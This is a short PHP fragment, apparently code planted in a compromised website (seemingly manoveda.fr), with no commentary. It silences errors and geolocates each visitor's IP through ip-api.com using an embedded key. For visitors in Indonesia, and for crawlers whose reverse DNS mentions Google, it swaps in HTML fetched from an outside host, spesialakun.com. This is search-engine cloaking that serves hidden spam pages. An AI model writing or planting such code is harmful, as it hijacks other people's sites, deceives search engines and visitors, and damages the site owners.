error_reporting(0); $ip_address = $ip = $_SERVER['REMOTE_ADDR']; $ip_headers = [ 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_FORWARDED_FOR', 'HTTP_X_COMING_FROM', 'HTTP_COMING_FROM', 'HTTP_FORWARDED_FOR_IP', 'HTTP_X_REAL_IP' ]; if ( ! empty ( $ip_headers ) ) { foreach ( $ip_headers as $header ) { if ( ! empty ( $_SERVER[$header] ) ) { $ip_address = trim ( $_SERVER[$header] ); $ip = explode ( ',' , $ip_address )[0]; break; } } } $hasil = json_decode ( file_get_contents ( "http://ip-api.com/json/$ip?fields=20483&key=ij36B51rjgcJLmK" ) ); if ( $hasil->status == 'success' ) { $negara = $hasil->countryCode; $rev = $hasil->reverse; if ( $negara == 'ID' ) { $html = file_get_contents ( "https://spesialakun.com/manoveda.fr/" ); exit ( $html ); } elseif ( $rev && strpos ( $rev , 'google' ) !== false ) { $html = file_get_contents ( "https://spesialakun.com/manoveda.fr/" ); exit ( $html ); } }